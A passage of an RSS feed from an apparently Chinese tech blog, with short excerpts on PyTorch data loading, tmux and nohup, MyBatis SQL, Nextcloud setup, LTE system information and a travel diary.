      <link>https://bchobby.github.io/posts/7833b6e61fff4df619e58afa7332c05b/</link>
      <pubDate>Fri, 11 Mar 2022 18:04:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7833b6e61fff4df619e58afa7332c05b/</guid>
      <description>1.Dataset&#xA;pytorch中提供了两种Dataset，一种是Dataset，另一种是IterableDataset。&#xA;在构建Dataset子类的时候，一般来说只需要定义__init__、__get_item__和__len__这3个方法，它们的作用分别如下：&#xA;__init__:初始化类&#xA;__get_item__:提取Dataset中的元素，通常是元组形式，如（input，target）&#xA;__len__：在对Dataset取len时，返回Dataset中的元素个数&#xA;IterableDataset是一个迭代器，需要重写__iter__方法，通过__iter__方法获得下一条数据。（这个目前没有遇到，待深入研究）&#xA;2.DataLoader&#xA;DataLoader提供了将数据整合成一个个批次的方法，用于进行模型批量运算。DataLoader中有如下几个需要注意的参数：&#xA;batch_size:一个批次数据中的样本数量&#xA;shuffle：打扰数据，避免模型陷入局部最优的情况，在定义了sampler之后，这个参数就无法使用了&#xA;sampler：采样器，如果有特殊的数据整合需求，可以自定义一个sampler，在sampler中返回每个批次的数据下标列表&#xA;pin_memory:将数据传入CUDA的Pinned Memory，方便更快的传入GPU中&#xA;collate_fn:进一步处理打包sampler筛选出来的一组组数据&#xA;num_workers:采用多进程方式加载，如果CPU能力较强，可以选择这种方法&#xA;drop_last：在样本总数不能被批次大小整除的情况下，最后一个批次的样本数量可能会与前面的批次不一致，若模型要求每个批次样本数量一致，可以将drop_last设置为True</description>
    </item>
    <item>
      <title>守护进程——解放本地PC</title>
      <link>https://bchobby.github.io/posts/f8dd003c2bcc3f1294faae9c94cbe7d6/</link>
      <pubDate>Fri, 11 Mar 2022 16:47:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8dd003c2bcc3f1294faae9c94cbe7d6/</guid>
      <description>一、nohup方法 1.默认将日志输出到nohup.out文件里：&#xA;nohup xxx.py &amp;amp; 2.指定日志输出到特定文件：&#xA;nohup xxx.py &amp;gt;output 2&amp;gt;&amp;amp;1 &amp;amp; 操作系统中有三个常用的流：&#xA;0：标准输入流 stdin&#xA;1：标准输出流 stdout&#xA;2：标准错误流 stderr&#xA;一般当我们用 &amp;gt; output.txt，实际是 1&amp;gt;output.txt的省略用法；&amp;lt; output.txt ，实际是 0 &amp;lt; output.txt的省略用法。&#xA;2&amp;gt;&amp;amp;1的意思 :&#xA;这个意思是把标准错误（2）重定向到标准输出中（1），而标准输出又导入文件output里面，所以结果是标准错误和标准输出都导入文件output里面了。 至于为什么需要将标准错误重定向到标准输出的原因，那就归结为标准错误没有缓冲区，而stdout有。这就会导致 &amp;gt;output 2&amp;gt;output 文件output被两次打开，而stdout和stderr将会竞争覆盖。&#xA;（引用https://www.cnblogs.com/bhchenli/p/7744132.html）&#xA;二、tmux方法 常用命令：&#xA;tmux new -s &amp;lt;session_name&amp;gt; #创建 tmux ls #显示session列表 tmux a #连接上一个session tmux a -t &amp;lt;session_name&amp;gt; #连接指定session,a可以换成attach tmux rename -t &amp;lt;session_original_name&amp;gt; &amp;lt;session_new_name&amp;gt; #session重命名 tmux kill-session #关闭上一个session tmux kill-session -t &amp;lt;session_name&amp;gt; #关闭指定session tmux kill-session -a -t &amp;lt;session_name&amp;gt; #关闭指定session以外的所有session tmux kill-server #关闭所有session 快捷键操作：</description>
    </item>
    <item>
      <title>Spring&#43;MyBatis实现读写分离四种实现方案整理</title>
      <link>https://bchobby.github.io/posts/0dea8b1f316056e01868f63efb3c2667/</link>
      <pubDate>Fri, 11 Mar 2022 15:59:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dea8b1f316056e01868f63efb3c2667/</guid>
      <description>方案1 通过MyBatis配置文件创建读写分离两个DataSource，每个SqlSessionFactoryBean对象的mapperLocations属性制定两个读写数据源的配置文件。将所有读的操作配置在读文件中，所有写的操作配置在写文件中。&#xA;方案2 通过Spring AOP在业务层实现读写分离，在DAO层调用前定义切面，利用Spring的AbstractRoutingDataSource解决多数据源的问题，实现动态选择数据源&#xA;方案3 通过Mybatis的Plugin在业务层实现数据库读写分离，在MyBatis创建Statement对象前通过拦截器选择真正的数据源，在拦截器中根据方法名称不同（select、update、insert、delete）选择数据源。&#xA;方案4 如果你的后台结构是spring+mybatis，可以通过spring的AbstractRoutingDataSource和mybatis Plugin拦截器实现非常友好的读写分离，原有代码不需要任何改变。推荐第四种方案&#xA;https://blog.csdn.net/u010681191/article/details/79748173</description>
    </item>
    <item>
      <title>python遍历读取txt文件夹，正则匹配获取目标字段，去除重复写入txt文档</title>
      <link>https://bchobby.github.io/posts/6c30865ff5cf8b052113fa31c13c8220/</link>
      <pubDate>Fri, 11 Mar 2022 15:28:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c30865ff5cf8b052113fa31c13c8220/</guid>
      <description>思路：首先遍历循环文件夹，输出地址判断是否读对了文件，读取出文件中的内容，用正则匹配的模式匹配匹配出对应的字段，将两个匹配出来的列表字段合并，去重，写入目标文件夹中。 import re # 导入正则包 import os path = &#34;D:\腾讯QQ\QQ下载\资源&#34; # 文件夹目录 files = os.listdir(path) # 读取文件夹目录 allresult = [] # 定义空列表 for file in files: # 遍历文件夹 position = path + &#39;\\&#39; + file # 构造绝对路径，&#34;\\&#34;，其中一个&#39;\&#39;为转义符 print(position) f = open(position, &#34;r&#34;, encoding=&#39;utf-8&#39;) # 设置文件对象 data = f.readlines() # 直接将文件中按行读到list里，效果与方法2一样 pattern = re.compile(&#39;rsas_.\S*&#39;) # 匹配从rsas开始，到空格处结束的内容 result = pattern.findall(str(data)) # 模式匹配方法，找到所有模式为pattern的字段 pattern2 = re.compile(&#39;RSAS_.\S*&#39;) result2 = pattern2.findall(str(data)) allresult = allresult + result + result2 # 两个模式为去除来的列表合并 f.</description>
    </item>
    <item>
      <title>【SQLserver】用OPENDATASOURCE函数将EXCEL数据写入SQLserver表中</title>
      <link>https://bchobby.github.io/posts/9a487378efea4ad407f35ac14587b884/</link>
      <pubDate>Fri, 11 Mar 2022 12:57:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a487378efea4ad407f35ac14587b884/</guid>
      <description> 使用T-SQL语句将excel表数据写入SQLserver的实现方式.&#xA;一、使用OPENDATASOURCE前需要确保该服务开启:&#xA;exec sp_configure &#39;show advanced options&#39;,1 reconfigure exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,1 reconfigure EXEC master.dbo.sp_MSset_oledb_prop N&#39;Microsoft.ACE.OLEDB.12.0&#39;, N&#39;AllowInProcess&#39;, 1 EXEC master.dbo.sp_MSset_oledb_prop N&#39;Microsoft.ACE.OLEDB.12.0&#39;, N&#39;DynamicParameters&#39;, 1 二、相关操作语句&#xA;--SQLserver中查询EXCEL表中的数据 SELECT * FROM OPENDATASOURCE(&#39;Microsoft.ACE.OLEDB.12.0&#39;, &#39;Data Source=C:\test.xlsx;Extended Properties=&#34;Excel 8.0;HDR=YES;IMEX=1&#34;&#39;) ...sheet$ --表格存放路径可以自定义,一般都是C盘. --将excel数据插入到数据表，进行数据加工处理，注意查询出来的列和表列数需一致. insert into test.dbo.test(字段名A,B,C,D) --必须和EXCEL列名一致. SELECT * FROM OPENDATASOURCE(&#39;Microsoft.ACE.OLEDB.12.0&#39;, &#39;Data Source=C:\Data\DDfiles\test.xlsx;Extended Properties=&#34;Excel 8.0;HDR=YES;IMEX=1&#34;&#39;) ...[sheet$] --表格文件里的表名 三、使用结束后关闭。&#xA;--使用完成后，关闭Ad Hoc Distributed Queries： exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,0 reconfigure exec sp_configure &#39;show advanced options&#39;,0 reconfigure </description>
    </item>
    <item>
      <title>Windows11下Edge浏览器登录工行农行并使用K宝U盾</title>
      <link>https://bchobby.github.io/posts/d341dfdf3ac50ec66e8ee077d559a22c/</link>
      <pubDate>Fri, 11 Mar 2022 11:46:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d341dfdf3ac50ec66e8ee077d559a22c/</guid>
      <description>随着Window10操作系统停止支持，Win11已经开始了普及。经过更换系统，对 默认的Edge浏览器进些配置，目前工商银行、农业银行的电子银行，已经可以通过Edge，以兼容IE的方式，正常登录和使用。&#xA;从支持性上看，工行是以Edge扩展插件实现支持，而农业银行，通过在PC上安装密码控件，K宝驱动，提供支持。&#xA;工商银行&#xA;农业银行&#xA;相对于之前无法在Windows10 、Windows Server 2022 上无法正常使用，这一点还是很好的</description>
    </item>
    <item>
      <title>synchronized修饰static方法与非static方法的区别</title>
      <link>https://bchobby.github.io/posts/92ed2c0c0e915074411b5b9713a007f8/</link>
      <pubDate>Fri, 11 Mar 2022 09:39:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92ed2c0c0e915074411b5b9713a007f8/</guid>
      <description>当synchronized修饰一个static方法时，多线程下，获取的是类锁（即Class本身，注意：不是实例），作用范围是整个静态方法，作用的对象是这个类的所有对象。&#xA;当synchronized修饰一个非static方法时，多线程下，获取的是对象锁（即类的实例对象），作用范围是整个方法，作用对象是调用该方法的对象。&#xA;结论：类锁和对象锁不同，他们之间不会产生互斥。&#xA;public class SynchoronizedDemo { //synchronized修饰非静态方法 public synchronized void function() throws InterruptedException { for (int i = 0; i &amp;lt;3; i++) { Thread.sleep(1000); System.out.println(&#34;function running...&#34;); } } //synchronized修饰静态方法 public static synchronized void staticFunction() throws InterruptedException { for (int i = 0; i &amp;lt; 3; i++) { Thread.sleep(1000); System.out.println(&#34;Static function running...&#34;); } } public static void main(String[] args) { final SynchoronizedDemo demo = new SynchoronizedDemo(); Thread t1 = new Thread(new Runnable() { @Override public void run() { try { staticFunction(); } catch (InterruptedException e) { e.</description>
    </item>
    <item>
      <title>Ubuntu 21.04（arm64） 基于sanp安装Nextcloud，挂载本地硬盘</title>
      <link>https://bchobby.github.io/posts/3def003330c6987568246676a22c1739/</link>
      <pubDate>Fri, 11 Mar 2022 00:00:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3def003330c6987568246676a22c1739/</guid>
      <description>一，更新ubuntu以及安装snap(以下内容均在root权限下执行)， 1.先使用&#34;whereis snap&#34;来确认是否已经安装snap，如果有输出路径则已安装， apt update # 更新源 2.安装snap， apt install snap apt install snapd 3.使用 snap list查看是否安装成功 nextcloud 22.2.3snap3 29249 latest/stable nextcloud✓ - 二，配置 1.输入自己的IP地址来登录nextcloud，第一次登录需要设置管理员账号的密码， 2.遇到访问不受信任的域名和ip，在config.php的 &#39;trusted_domains&#39; 中添加你的域名或ip nano /var/snap/nextcloud/current/nextcloud/config/config.php 3.配置Https，&#xA;1.Let’s Encrypt证书：（我没弄成功）&#xA;nextcloud.enable-https lets-encrypt 输入邮箱和域名即可&#xA;自签名证书：（可以使用Https 但是浏览器会提示不安全）&#xA;nextcloud.enable-https self-signed 使用自己的ssl证书 （自己购买十几块钱也可以白嫖，自行百度）&#xA;将 &amp;lt;*.key&amp;gt; &amp;lt;*chain.crt&amp;gt; &amp;lt;*public.crt&amp;gt; 放到 /var/snap/nextcloud/common 下，然后执行以下命令：&#xA;nextcloud.enable-https custom -s &amp;lt;cert&amp;gt; &amp;lt;key&amp;gt; &amp;lt;chain&amp;gt; 三，挂载本地硬盘作为数据存放点 1. 创建数据目录&#xA;mkdir /var/snap/nextcloud/common/nextcloud/目录名 2.查看硬盘信息&#xA;fdisk -l 3.格式化硬盘&#xA;mkfs.exfat /dev/sda1 # 注意这里的路径输入自己的，在硬盘信息中有体现，不要原封不动的复制我这个，万一格式化错了就完了 4.挂载硬盘到刚刚创建的目录</description>
    </item>
    <item>
      <title>mac环境下java、maven、git、rsa等配置</title>
      <link>https://bchobby.github.io/posts/b19857c6913c3c0fa37efff0cafc4662/</link>
      <pubDate>Thu, 10 Mar 2022 23:35:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b19857c6913c3c0fa37efff0cafc4662/</guid>
      <description>mac环境下java研发相关环境配置教程。&#xA;一、jdk&#xA;进入官网进行下载，选择8系列的版本。&#xA;Java Downloads | Oracle&#xA;安装完成后，配置环境变量。&#xA;在终端下输入：open .bash_profile 命令，会打开此文件（如果没有则手动创建），添加如下内容。&#xA;JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home PATH=$JAVA_HOME/bin:$PATH:. CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:. export JAVA_HOME export PATH export CLASSPATH 保存文件，在终端下输入 source .bash_profile 命令使配置生效。&#xA;在终端下输入 java -version 命令能够输出java版本信息，表示安装配置成功。&#xA;二、maven&#xA;进入官网进行下载：&#xA;Maven – Download Apache Maven&#xA;下载之后解压到某个文件夹下。&#xA;再次修改bash_profile文件为：&#xA;JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home PATH=$JAVA_HOME/bin:$PATH:. CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:. export M2_HOME=/Users/xxx/apache/apache-maven-3.8.1 export M2=$M2_HOME/bin export PATH=$PATH:$M2 export JAVA_HOME export PATH export CLASSPATH 注意：当 Maven 升级到3.8.1 之后，执行 mvn clean package 命令后会报错如下：&#xA;maven-default-http-blocker (http://0.0.0.0/): Blocked mirror for repositories maven在3.8.1 的默认配置文件中增加了一组标签，如果仓库镜像是http 而不是https 就会被拦截禁止访问,而当前公司私服一般是http 而不支持https.</description>
    </item>
    <item>
      <title>一次短暂的淮安、盐城之旅</title>
      <link>https://bchobby.github.io/posts/ffc924672417e57b66d1e45c3b9f6bf0/</link>
      <pubDate>Thu, 10 Mar 2022 20:56:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffc924672417e57b66d1e45c3b9f6bf0/</guid>
      <description>短是因为过去是有工作要做，而所谓的”旅“，只不过是在淮安看了看庙而已，总共几个小时。在盐城也就呆了6个小时。工作2小时，剩下的时间就是等车、坐车了。&#xA;目的地是盐城，但实际上是先到的淮安，因为机票比起直接去盐城便宜1/3。&#xA;第一天，早上9点出发，折腾到机场，下午4点半到了淮安的涟水机场（中间还停了一次义乌）。再折腾去酒店，到的时候7点，天都黑了。好在不冷。10小时就这么过去了：全在路上。120一天的酒店，从外面看是不咋地的，房间内也就那么回事儿，好在明面儿上卫生还可以，不临街，也不吵。悲剧的是笔记本电脑电源没带，就这样只能喝了几杯啤酒，看了看电影。&#xA;第二天，早上7点出去吃早饭，酒店马路对面就有个淮味面馆。点的鱿鱼面真心不咋地，怪不得别人来了都是肉丝面、雪菜面，这顿算是失败了。这时正好是小朋友门上学的点儿（附近有个小学，大概隔一站路），马路上汽车、电动车多到不行，自行车极少。饭后去高铁站。这附近大部分是开发区，还有富士康的厂，路况好，马路宽而且没车，也没人。就不得不说一下淮安的公交车司机师傅。开车相当稳，态度相当好，要点赞。淮安高铁站不错，宽敞、整洁、路标明确，可见管理上心。顺便吐槽一下北京的火车站，还有北京的机场：都不小，可内部规划过于拥挤，满眼都是是各类商家，空间被切割的七零八落，留给乘客的空间被过多挤占。像南站，本来旅客就多，首发车也多，上车时队都排拐弯儿了，不同的队也都快混了，满世界都是人，想找个地方坐都不容易。根本原因是留给旅客的空间太少。相比而言广州南站、淮安站，包括盐城站，站内的商业设施的占地控制得很好，留给乘客很多空间，候车厅内的视野较好，遮挡视线的各种店铺没那么多，不熟的人找指示牌什么的就比较容易。当然肯定有些情况我是不知道的，那就不管了。从淮安，高铁半小时到盐城，再45分钟公车到工作地点。慢悠悠地2小时干完工作，就又准备回淮安了。失算的是没有在市内吃午饭。到了盐城站发现饭馆儿价格就都上去了。最后整了个面包，还好有热茶。这么着，不到4点就又回到了淮安。还住那个地儿。好好研究了一下附近，发现有个羊肉汤馆儿评价似乎可以。晚饭时去吃了，发现上当了。灰常一般。我记得以前在郑州吃羊肉汤，都得有直径1m的大锅不停地滚着白汤才行。幸好吃的小碗。晚上还是看电视，变1，变2复习了一下，确实精彩。&#xA;第三天，没有正经事儿了，但飞机要下午5点才飞，所以这才有了”旅“，这就是整天的计划了。&#xA;早饭是包子+辣汤。一般般了，辣汤吗，其实一点儿不辣的。&#xA;先去景会寺，就在开发区的办公中心马路对面。看资料发现是始建于北宋，据说以前很大，香火极旺，不过几起几伏，最终1943年焚毁了。现在的是两年前新建的，号称淮安首寺。山门和孙悟空变的庙一模一样，区别是没旗杆。山门前有个小广场，再前面是个影壁，用来把马路隔在外面。影壁的浮雕，应该是佛祖说法的故事吧。影壁和广场之间有个小水池，里面用荷花缸拼成了万字，只可惜太早，荷花还没发芽，只有些去年的荷叶和莲蓬，都干干的，黑褐色，或立或倒。寺庙整体不大，也没什么游客。主线上是山门、天王殿、大雄宝殿、毗卢阁和法堂。 两侧有钟楼、鼓楼、祖师堂什么的。不过山门里只有四大天王，中间是空的，弥勒佛供奉在其后的天王殿里，背后是韦陀，这和以前看得大部分寺庙格局不同。后面大雄宝殿当然供奉释迦摩尼，在后面的毗卢阁和法堂就不让看了。不过从门缝里还是看到法堂中间挂了一幅画，题字是”登狮子座“。后面还看了观音殿，里面供奉的是千手千面观音。最后看了一个殿，供奉的关公：左边关平、右边周仓。当时心里一闪念：可能是为了让来参拜的人多点儿吧。转过来，发现有个捐的巨大石头的莲花缸，再过一个小石桥，旁边是一排用来净手的小莲花缸，都是整块石头雕的，每个缸上有个滴水，里面放了一个竹勺。细看构造，其实就是半截连节、连枝的竹筒，而且每个都特意把小竹枝缠绕在主枝上，末端仔细地用线缠好。形状上看有点儿像丁丁历险记里船长的烟斗。&#xA;时间还早，按计划，去文庙并在路上午饭。一看地图，发现从酒店坐93路到景会寺，从景会寺到文庙，还是93路，而且从文庙出来，走10分钟就是去机场的公车，这还是挺顺的。&#xA;文庙在市里。市里吗，和一般的市里就没什么区别了。下车先找午饭。当心里想着：看到第一个面馆就进去吃的时候，一抬头，就看到了”胖子面馆“。走进去就能发现，是那种本地的普通人常去的饭馆儿。特色各种面条儿。热菜号称是淮扬菜，还有不少看起来不错的凉菜：卤蛋、炸虾、拌海带、花生米什么的。点了皮肚面，这个熟，在南京吃过好多次的，口味无论如何不容易翻车。拿着餐牌往里走，过个门就是人少的区域，但就立刻发现了俩喝的晕乎乎的家伙：舌头粗了，说话声音也大了，絮絮叨叨，而且显得比平时更讲义气、更牛逼。当时心里是咯噔一下这顿饭药丸。坐定，面上来了：一碗面，一盘里面有7～8中配料的炒皮肚！这个就有点儿独特了。就着炒皮肚吃了半碗面，然后倒在一起了。旁边俩哥们儿谈完从中国银行总经理那儿贷款3000万元的事儿以后，又抓住了可怜的大厨强行讨论小葱炒鸡蛋该怎么放油，怎么控制火候，一顿BB，我想大厨字典里恭维的话已经快见底儿了，又不好意思强行结束谈话，这个尴尬啊～～～我赶快吃碗面逃跑。&#xA;这真是嗑瓜子儿磕出个臭虫。&#xA;文庙本来就不咋滴，本质上是一堆开在返修古建筑和仿古建筑里的小商铺。宠物花鸟，书画文玩，小孩儿玩具，反正就是各种用的玩儿的。有点儿失望。本来就不是节假日，人少，好多店铺都铁将军把门。再加上之前的臭虫加持，逛逛就撤退了。时间多得很，慢悠悠的去公车站，发现淮安竟然还有有轨电车。线路的一部分沿着大运河，还真的有点儿特色的。&#xA;到了机场就是等着了。&#xA;上飞机有个小插曲，头回遇到：廊桥弄错了！本来大家都沿着用警戒线圈起来的路线往里走。突然之前进去的人又都出来了，嚷嚷着”没飞机啊“。我擦～～～，这也行。走到窗边一看，果然没飞机！廊桥尽头啥也木有。还是负责检票的小哥动作快，一看大家要回候机厅，立马明白了，飞也似的跑过来改警戒线。于是大家又鱼贯而入。&#xA;就这样，晚上11点半的时候，我打开门，看到灰灰在门里站着：喵～喵～喵～～～</description>
    </item>
    <item>
      <title>第2章 系统信息（System Information）</title>
      <link>https://bchobby.github.io/posts/eec00e91789e7b737ca07b1704563905/</link>
      <pubDate>Thu, 10 Mar 2022 14:49:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eec00e91789e7b737ca07b1704563905/</guid>
      <description>小区搜索过程之后，UE已经与小区取得下行同步，得到小区的PCI（Physical Cell ID）以及检测到系统帧的timing（即10ms timing）。接着，UE需要获取到小区的系统信息（System Information），这样才能知道该小区是如何配置的，以便接入该小区并在该小区内正确地工作。小区会不断地广播这些系统信息。&#xA;系统信息是小区级别的信息，即对接入该小区的所有UE生效。系统信息可分为MasterInformationBlock（MIB）和多个SystemInformationBlock（SIB），每个系统信息包含了与某个功能相关的一系列参数集合。系统信息类型包括：&#xA;表2.1：系统信息类型&#xA;并不是所有的SIB都必须存在。例如对于运营商部署的基站而言，就不需要SIB9；如果某小区不提供MBMS，就不需要SIB13。&#xA;有3种类型的RRC消息用于传输系统信息：MIB消息、SIB1消息、一个或多个SI消息。&#xA;图2.1：3类用于发送系统信息的RRC消息&#xA;小区是通过逻辑信道BCCH向该小区内的所有UE发送系统信息的。&#xA;从图2.2、图2.3、图2.4可以看出，逻辑信道BCCH会映射到传输信道BCH和DL-SCH。其中，BCH只用于传输MIB信息，并映射到物理信道PBCH；DL-SCH用于传输各种SIB信息，并映射到物理信道PDSCH。&#xA;图2.2：下行信道匹配&#xA;图2.3：从RRC信令中可以看出：MIB在BCH上传输&#xA;图2.4：从RRC信令中可以看出：SIB在DL-SCH上传输&#xA;2.1 MIB 对于MIB而言，除了RRC消息（MasterInformationBlock）里所带的信息外，它还有额外一些信息要告诉UE。本节所要介绍的，就是小区会通过MIB告诉UE哪些信息，以及UE是如何检测到这些信息的。&#xA;UE通过检测PBCH，能得到以下信息：&#xA;（1）通过接收到的MasterInformationBlock可以知道小区的下行系统带宽、PHICH配置（详见《LTE：PHICH（一）》）、系统帧号（System Frame Number，SFN。更确切地说，获取到的是SFN的高8位，最低2位需要在PBCH盲检时得到，这会在后面介绍）。&#xA;（2）小区特定的天线端口（cell-specific antenna port）的数目：1或2或4。&#xA;（3）用于L1/L2 control signal（包括PCFICH、PHICH、PDCCH）的传输分集模式（transmit-diversity scheme）：PBCH和L1/L2 control signal都只能使用单天线传输或传输分集，如果使用传输分集， PBCH和L1/L2 control signal会使用相同的多天线传输分集模式。&#xA;从图2.2可以看出，MIB会在物理信道PBCH上传输。PBCH时域上位于每个系统帧的子帧0的第2个slot的前4个OFDM symbol上，并在频域上占据72个中心子载波（不含DC）。对应RE不能用于发送DL-SCH数据。如图2.5所示。&#xA;图2.5：BCH传输信道的资源映射&#xA;把BCH传输限制在72个中心的子载波，而不考虑小区的下行系统带宽的原因在于：UE在接收BCH时并不知道小区的下行系统带宽。因此UE在第一次接收BCH时，可以假定小区的下行系统带宽等于可能的最小下行系统带宽（6个RB，对应72个子载波）。在解码了MIB后，UE就能从MIB中得到实际的下行系统带宽。&#xA;MIB在40ms周期内重复4次，每一次发送的PBCH都携带相同的coded bit，也就是说，每一次都是可以独自解码的。因此，在信道质量（SIR）足够好的情况下，UE可能只接收这40ms内的其中一个，就能够成功解码出PBCH的内容；如果不行，就与下一个10ms发送的PBCH的内容进行软合并，再进行解码，直到成功解码出PBCH。&#xA;图2.6：MIB在时域上的调度&#xA;前面已经说过，通过MIB，UE只能获取到SFN的高8位，最低2位（也就是40ms timing）是通过盲检PBCH得到的。40ms内每次发送的PBCH会使用不同scrambling and bit position（即共有4个不同的phase of the PBCH scrambling code），并且每40ms会重置一次。&#xA;UE可以通过使用4个可能的phase of the PBCH scrambling code中的每一个去尝试解码PBCH，如果解码成功，也就知道了小区是在40ms内的第几个系统帧发送MIB，即知道了SFN的最低2位。（[2]和[6]中介绍了检测SFN最低2位的几种策略，有兴趣的可以了解一下）&#xA;PBCH的多天线传输只能使用传输分集，而且在2天线端口传输时，只能使用SFBC；4天线端口传输时，只能使用combined SFBC/FSTD。UE使用3种不同的CRC mask（见36.212的Table 5.3.1.1-1）来盲检PBCH，可得到天线端口数目，而天线端口数目与传输分集模式一一对应（1天线端口 &amp;lt;-&amp;gt; 单天线端口传输；2天线端口 &amp;lt;-&amp;gt; SFBC；4天线端口 &amp;lt;-&amp;gt; combined SFBC/FSTD），因此当UE成功解码PBCH时，就知道了小区特定的天线端口数以及用于L1/L2 control signal的传输分集模式。（关于SFBC、FSTD的说明，详见[1]的5.</description>
    </item>
    <item>
      <title>Ubuntu apt-get安装工具时报错，无法获得dpkg前端锁问题解决</title>
      <link>https://bchobby.github.io/posts/ffa0fa15e9dd93afc0e511a2e29a4840/</link>
      <pubDate>Thu, 10 Mar 2022 13:47:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffa0fa15e9dd93afc0e511a2e29a4840/</guid>
      <description>问题描述如下&#xA;解决方法：把报错提示信息中的lock文件删除重新运行即可&#xA;sudo rm /xxx/xxx/lock-xxx 重新运行apt-get，可以正常使用</description>
    </item>
    <item>
      <title>樽海鞘算法(SSA)</title>
      <link>https://bchobby.github.io/posts/c493b5e89c8be4ab1975c0d496113e86/</link>
      <pubDate>Thu, 10 Mar 2022 13:42:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c493b5e89c8be4ab1975c0d496113e86/</guid>
      <description>樽海鞘群算法( salp swarm algorithm，SSA)是Seyedali Mirjalili等于2017年提出的一种新型智能优化算法。 该算法模拟了樽海鞘链的群体行为，是一种较新颖的群智能优化算法。每次迭代中，领导者指导追随者，以一种链式行为，向食物移动。移动过程中，领导者进行全局探索，而追随者则充分进行局部探索，大大减少了陷入局部最优的情况。&#xA;部分代码如图&#xA;https://mianbaoduo.com/o/bread/YpeXkpdt</description>
    </item>
    <item>
      <title>【MyBatis】Mybatis的各种查询功能、特殊SQL、动态SQL、一二级缓存</title>
      <link>https://bchobby.github.io/posts/02305c9e42014e6e0e6e97cf1bd74b26/</link>
      <pubDate>Thu, 10 Mar 2022 09:51:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02305c9e42014e6e0e6e97cf1bd74b26/</guid>
      <description>文章目录 一、Mybatis的各种查询功能二、特殊SQL的执行三、动态SQL四、Mybatis缓存1.Mybatis的一级缓存2.Mybatis的二级缓存 一、Mybatis的各种查询功能 1.若查询结果只有一条时&#xA;（1）可以使用实体类对象接收&#xA;（2）也可以使用list和map集合接收；&#xA;2.若查询结果有多条&#xA;（1）使用实体类类型的的list集合接收&#xA;（2）使用map类型的list集合接收&#xA;（3）可以在mapper接口的方法上添加@MapKey注解，此时可以将map集合作为值，以某个唯一字段的值作为键，放在同一个map集合中&#xA;二、特殊SQL的执行 1.模糊查询&#xA;&amp;lt;!--三种方式都可以实现模糊查询，推荐使用方式3--&amp;gt; &amp;lt;select id=&#34;getUserByLike&#34; resultType=&#34;com.jd.wds.pojo.User&#34;&amp;gt; &amp;lt;!--select * from user where username like &#39;%${username}%&#39;--&amp;gt; &amp;lt;!--select * from user where username like concat (&#39;%&#39;,#{username},&#39;%&#39;)--&amp;gt; select * from user where username like &#34;%&#34;#{username}&#34;%&#34; &amp;lt;/select&amp;gt; 2.批量删除&#xA;&amp;lt;!--批量删除的特殊情况--&amp;gt; &amp;lt;delete id=&#34;deleteMore&#34;&amp;gt; &amp;lt;!--此处只能使用${}的形式，因为#{}的方式会添加引号，而id的字段名是int--&amp;gt; &amp;lt;!--delete from user where id in (#{id})--&amp;gt; delete from user where id in (${id}) &amp;lt;/delete&amp;gt; 3.动态设置表名&#xA;&amp;lt;select id=&#34;getUserByTableName&#34; resultType=&#34;com.jd.wds.pojo.User&#34;&amp;gt; &amp;lt;!--此处只能使用${},不能使用#{}--&amp;gt; &amp;lt;!--select * from #{tableName}--&amp;gt; select * from ${tableName} &amp;lt;/select&amp;gt; 4.</description>
    </item>
    <item>
      <title>Linux中“＞/dev/null 2＞&amp;1 &amp;“的含义</title>
      <link>https://bchobby.github.io/posts/32684ee2a4de74e928cd305c7b2c0ebe/</link>
      <pubDate>Wed, 09 Mar 2022 21:18:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32684ee2a4de74e928cd305c7b2c0ebe/</guid>
      <description>在Linux中：&#xA;0:表示键盘输入(stdin)&#xA;1:表示标准输出(stdout),系统默认是1&#xA;2:表示错误输出(stderr)&#xA;shell命令：command &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp; 等同于 command 1&amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#xA;1)command:表示shell命令或一个可执行的程序&#xA;2)&amp;gt;:表示重定向到&#xA;3)/dev/null:表示Linux的空设备文件&#xA;4)2:表示标准错误输出&#xA;5)&amp;amp;1:&amp;amp;表示等同于的意思,2&amp;gt;&amp;amp;1,表示2的输出重定向等同于1的重定向&#xA;6)&amp;amp;:表示后台执行这条指令&#xA;1&amp;gt;/dev/null:表示标准输出重定向到空设备文件,即不输出任何信息到终端。&#xA;2&amp;gt;&amp;amp;1:表示错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以错误输出也重定向到空设备文件。&#xA;上述例子中的shell命令的意思就是在后台执行这个程序,并将错误输出2重定向到标准输出1,然后将标准输出1全部放到/dev/null文件,也就是清空.（shell命令：command &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp; 等同于 command 1&amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;）&#xA;&#34; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &#34;常用来避免shell命令或者程序等运行中有内容输出。&#xA;作者：Kyunban&#xA;链接：https://www.jianshu.com/p/071e49f5f48e&#xA;来源：简书&#xA;著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。</description>
    </item>
    <item>
      <title>CorelDraw2022新版来了 新版cdr功能介绍详情看这里</title>
      <link>https://bchobby.github.io/posts/e810c01268cb9e26ac590a30eb97d4d8/</link>
      <pubDate>Wed, 09 Mar 2022 17:50:04 +0800</pubDate>
